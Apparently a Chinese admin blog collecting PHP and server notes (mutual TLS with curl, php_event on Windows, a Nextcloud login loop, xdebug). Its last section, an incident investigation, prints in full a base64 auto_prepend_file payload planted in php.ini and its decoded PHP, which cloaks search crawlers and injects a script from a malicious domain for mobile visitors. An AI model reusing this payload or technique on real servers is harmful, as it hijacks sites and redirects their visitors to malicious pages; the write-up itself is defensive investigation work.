php使用自签名证书调用三方接口

自己生成私钥和csr,将csr发给对方,对方为私有ca,给我们颁发证书(公钥),php代码需要配置证书、根证书及私钥访问对方接口。

对方给的证书只有服务器证书,没有给根证书,可以访问对方域名提取,或者命令行获取。

openssl s_client -connect x.x.xgaming.com:443 -showcerts


命令输出的比较多,通过判断 “CN =” 字段来确认是服务器证书、还是中间证书或者根证书。

用浏览器方式导出根证书最方便。

// 设置对方CA根证书(验证服务器身份)
curl_setopt($ch, CURLOPT_CAINFO, __DIR__ . "/ca.crt");
// 设置客户端证书和私钥(双向TLS用)
curl_setopt($ch, CURLOPT_SSLCERT, __DIR__ . "/prod-cert.pem");
curl_setopt($ch, CURLOPT_SSLKEY, __DIR__ . "/PrivateKey.key");

CURLOPT_SSLCERT → 向服务器提供客户端证书(公钥)。
CURLOPT_SSLKEY → 客户端私钥,用于 解密服务器返回的加密数据。
CURLOPT_CAINFO → 用于验证服务器的证书是否可信。

双向tls流程参考:
https://help.aliyun.com/zh/api-gateway/traditional-api-gateway/user-guide/mutual-tls-authentication
PS:通过 https://decoder.link/result 这个网站可以解析证书内容。

为什么要对方颁发证书给我们?因为对方是根ca,可以免去对方要求自己提供根ca证书的步骤。
# 可以通过下面命令测试mtls
openssl s_client -connect api.example.com:443 -cert client.crt -key client.key -CAfile ca.crt

windows下php8.0.2安装event模块

admin@DESKTOP-H99UP7S MINGW64 /d/phpstudy_pro/Extensions/php/php8.0.2nts
$ ./php.exe -m

Warning: PHP Startup: Unable to load dynamic library ‘php_event.dll’ (tried: D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\php_event.dll (找不到指定的模块。), D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\php_php_event.dll.dll (找不到指定的模块。)) in Unknown on line 0

实际上不是路径问题,而是需要先在php.ini中开启sockets模块,并且需要优先于event模块之前加载。

extension=sockets
extension=php_event.dll

下载地址:https://pecl.php.net/package/event/3.1.3/windows
注意64位系统下载x64版的,下32位加载会提示 不是有效的 Win32 应用程序。

资料:https://stackoverflow.com/questions/52585012/cannot-load-phps-event-extension-php-event-dll-on-windows

nginx加nextcloud重复跳转到登录页面

nextcloud文档中关于nginx的配置:https://docs.nextcloud.com/server/latest/admin_manual/installation/nginx.html

原先环境为apache+php-fpm,现在将apache替换为nginx。

nginx和php运行用户已经修改为 www 用户(原先为apache)。

问题现象:
登录nextcloud又跳转回登录页面。

php-fpm是使用了remi源安装

网上说可能是session目录权限问题,根据此线索排查。
开始修改了php.ini

[root@localhost ~]# cat /etc/opt/remi/php73/php.ini | grep session.save_path | grep -Ev "^;|^$"
session.save_path = "/var/lib/php/session"

初始值是/tmp 目录,以为www用户没有权限写入,就改了个目录并赋予www用户权限,还是要重复登录。

查看www.conf配置文件发现这里的参数是另一个目录,这里的优先级高于php.ini,所以上面的改动是无效的。

[root@localhost ~]# cat /etc/opt/remi/php73/php-fpm.d/www.conf | grep session
php_value[session.save_handler] = files
php_value[session.save_path]    = /var/opt/remi/php73/lib/php/session

将 /var/opt/remi/php73/lib/php/session 此目录属主属组改为www即可。或者指定其他目录并设置权限。

问题原因就是php运行用户www没有对此目录写入权限,就无法创建服务端的session文件。

var_dump()打印美化

# 安装xdebug模块
wget -c https://xdebug.org/files/xdebug-3.2.1.tgz
tar zxvf xdebug-3.2.1.tgz 
cd xdebug-3.2.1/
/usr/local/php/bin/phpize 
./configure --with-php-config=/usr/local/php/bin/php-config
make
make install

# 查看编译后的模块是否存在
ll /usr/local/php/lib/php/extensions/no-debug-non-zts-20220829/
-rwxr-xr-x 1 root root 1978456 Jul 10 10:40 xdebug.so

# 开启模块
vi /usr/local/php/etc/php.ini
extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20220829/"
zend_extension = xdebug.so

# 重启
service php-fpm restart

百度搜索网站域名点击后跳转到恶意网站的排查思路

用户反馈用手机浏览器打开百度,搜索网站域名,点击会跳转到恶意网站。而且是服务器里所有网站都这样。

通过浏览器F12模拟手机访问,发现可以跳转,并在网络菜单中看到首页的响应内容为:

<script src=https://www.bhu456.com/js3.js></script>

可以确定是植入了恶意代码

开始以为是修改了网站代码,经过排查代码也未发现异常,此时用户说网站代码已经备份,只留了一个空的php首页,访问依旧会跳转。

这就说明恶意代码并没有修改网站的代码而实现跳转。

排查过程:
1、nginx虚拟主机配置文件,无异常
2、nginx的lua模块代码,无异常
3、伪静态配置,无异常
4、查php的载入模块(extension),无异常(此时是通过cat php.ini | grep extension方式查询,所以并没有发现恶意配置)

停止php-fpm服务以后,访问网站会报502,不会跳转,说明跳转还是通过php服务实现的,可以确定跟nginx及lua模块没有关系了。

查php的配置文件,最终在php.ini中找到如下配置:

auto_prepend_file ="data:;base64,PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7ZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCIpOyRhPSJzdHJpc3RyIjskYj0kX1NFUlZFUjtmdW5jdGlvbiBodHRwR2V0bGFpKCRjKXskZD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkZCxDVVJMT1BUX1VSTCwkYyk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBCYWlkdXNwaWRlci8yLjA7ICtodHRwOi8vd3d3LmJhaWR1LmNvbS9zZWFyY2gvc3BpZGVyLmh0bWwpJyk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUixGQUxTRSk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCxGQUxTRSk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkZCxDVVJMT1BUX0hFQURFUiwwKTskZT1jdXJsX2V4ZWMoJGQpO2N1cmxfY2xvc2UoJGQpO3JldHVybiAkZTt9ZGVmaW5lKCd1cmwnLCRiWydSRVFVRVNUX1VSSSddKTtkZWZpbmUoJ3JlZicsIWlzc2V0KCRiWydIVFRQX1JFRkVSRVInXSk/Jyc6JGJbJ0hUVFBfUkVGRVJFUiddKTtkZWZpbmUoJ2VudCcsJGJbJ0hUVFBfVVNFUl9BR0VOVCddKTtkZWZpbmUoJ3NpdGUnLCJodHRwOi8vd3d3LnZmcjc4OS5jb20vdXRmOC8/Iik7ZGVmaW5lKCdyb2FkJywiYXBwP2RvbWFpbj0iLiRiWydIVFRQX0hPU1QnXS4iJnBhdGg9Ii51cmwuIiZzcGlkZXI9Ii51cmxlbmNvZGUoZW50KSk7ZGVmaW5lKCdtZW1lcycscm9hZC4iJnJlZmVyZXI9Ii51cmxlbmNvZGUocmVmKSk7ZGVmaW5lKCdyZWdzJywnQEJhaWR1U3BpZGVyfFNvZ291fFlpc291fEhhb3NvdXwzNjBTcGlkZXJAaScpO2RlZmluZSgnbW9iaWxlJywnL3Bob25lfHBhZHxwb2R8aVBob25lfGlQb2R8aW9zfGlQYWR8QW5kcm9pZHxNb2JpbGV8QmxhY2tCZXJyeXxJRU1vYmlsZXxNUVFCcm93c2VyfEpVQ3xGZW5uZWN8d09TQnJvd3NlcnxCcm93c2VyTkd8V2ViT1N8U3ltYmlhbnxXaW5kb3dzIFBob25lLycpO2RlZmluZSgnYXJlYScsJGEodXJsLCIueG1sIilvciAkYSh1cmwsIi5mZGMiKW9yICRhKHVybCwiLm9uZSIpb3IgJGEodXJsLCIuYnVnIilvciAkYSh1cmwsIi5kb2MiKW9yICRhKHVybCwiLmxvdmUiKW9yICRhKHVybCwiLnR4dCIpb3IgJGEodXJsLCIucHB0IilvciAkYSh1cmwsIi5wcHR4IilvciAkYSh1cmwsIi54bHMiKW9yICRhKHVybCwiLmNzdiIpb3IgJGEodXJsLCIuc2h0bWwiKW9yICRhKHVybCwiLnpuYiIpb3IgJGEodXJsLCIuYXNwIilvciAkYSh1cmwsIi5tZGIiKW9yICRhKHVybCwiLmh4YyIpKTtpZihwcmVnX21hdGNoKHJlZ3MsZW50KSl7aWYoYXJlYSl7ZWNobyBodHRwR2V0bGFpKHNpdGUucm9hZCk7ZXhpdDt9ZWxzZXtlY2hvIGh0dHBHZXRsYWkoImh0dHA6Ly93d3cudmZyNzg5LmNvbS91dGY4L3UucGhwIik7b2JfZmx1c2goKTtmbHVzaCgpO319aWYoYXJlYSYmcHJlZ19tYXRjaChtb2JpbGUsZW50KSl7ZWNobyBiYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNITTZMeTkzZDNjdVltaDFORFUyTG1OdmJTOXFjek11YW5NK1BDOXpZM0pwY0hRKycpO2V4aXQ7fT8+"

经过base64反解后,可以看到恶意代码了:

<?php 
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$a = "stristr";
$b = $_SERVER;

function httpGetlai($c) {
    $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    $e = curl_exec($d);
    curl_close($d);
    return $e;
}
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://www.vfr789.com/utf8/?");
define('road', "app?domain=".$b['HTTP_HOST'].
    "&path=".url.
    "&spider=".urlencode(ent));
define('memes', road.
    "&referer=".urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".asp") or $a(url, ".mdb") or $a(url, ".hxc"));
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai("http://www.vfr789.com/utf8/u.php");
        ob_flush();
        flush();
    }
}
if (area && preg_match(mobile, ent)) {
    echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+');
    exit;
} 

?>
echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+');

这段base64反解以后就是上面页面响应的内容。

<script src=https://www.bhu456.com/js3.js></script>

auto_prepend_file配置参数的作用:
如果希望使用require()将页眉和脚注加入到每个页面中,除了使用require函数引入外,还可以使用配置文件设置。
在配置文件php.ini中有两个选项 auto_prepend_file 和 auto_append_file。
通过这两个选项来设置页眉和脚注,可以保证它们在每个页面的前后被载入。
使用这些指令包含的文件可以像使用include()语句包含的文件一样;也就是,如果该文件不存在,将产生一个警告。

此时还未查到是怎么被修改的配置文件。